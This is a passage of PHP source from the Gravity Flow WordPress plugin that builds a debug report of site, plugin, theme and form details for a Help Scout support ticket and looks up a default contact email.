* Get the debug info which will appear as a note on the Help Scout ticket.
*
* @since 1.6.1-dev-2 Use the system report available with Gravity Forms 2.2+.
*
* @return string
*/
public static function get_site_info() {
if ( gravity_flow()->is_gravityforms_supported( '2.2' ) ) {
require_once( GFCommon::get_base_path() . '/includes/system-status/class-gf-system-report.php' );
$sections = GF_System_Report::get_system_report();
$system_report_text = GF_System_Report::get_system_report_text( $sections );
return $system_report_text;
}
if ( ! function_exists( 'get_plugins' ) ) {
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
}
$plugin_list = get_plugins();
$site_url = get_bloginfo( 'url' );
$plugins = array();
$active_plugins = get_option( 'active_plugins' );
foreach ( $plugin_list as $key => $plugin ) {
$is_active = in_array( $key, $active_plugins );
if ( $is_active ) {
$name = substr( $key, 0, strpos( $key, '/' ) );
$plugins[] = $name . 'v' . $plugin['Version'];
}
}
$plugins = join( ', ', $plugins );
// Get theme info.
$theme = wp_get_theme();
$theme_name = $theme->get( 'Name' );
$theme_uri = $theme->get( 'ThemeURI' );
$theme_version = $theme->get( 'Version' );
$theme_author = $theme->get( 'Author' );
$theme_author_uri = $theme->get( 'AuthorURI' );
$form_counts = GFFormsModel::get_form_count();
$active_count = $form_counts['active'];
$inactive_count = $form_counts['inactive'];
$fc = abs( $active_count ) + abs( $inactive_count );
$entry_count = GFFormsModel::get_lead_count_all_forms( 'active' );
$im = is_multisite() ? 'yes' : 'no';
global $wpdb;
$info = array(
'site: ' . $site_url,
'GF version' . GFCommon::$version,
'Gravity Flow version' . gravity_flow()->_version,
'WordPress version: ' . get_bloginfo( 'version' ),
'php version' . phpversion(),
'mysql version: ' . $wpdb->db_version(),
'theme name:' . $theme_name,
'theme url' . $theme_uri,
'theme version:' . $theme_version,
'theme author: ' . $theme_author,
'theme author URL:' . $theme_author_uri,
'is multisite' . $im,
'form count: ' . $fc,
'entry count: ' . $entry_count,
'plugins: ' . $plugins,
);
return join( PHP_EOL, $info );
}
/**
* Get the default value for the email field.
*
* @return string
*/
public static function get_email() {
$license_data = gravity_flow()->check_license();
$email = rgobj( $license_data, 'customer_email' );
if ( empty( $email ) ) {
$email = get_option( 'admin_email' );
}
return $email;
}
}

Some files were not shown because too many files have changed in this diff Show More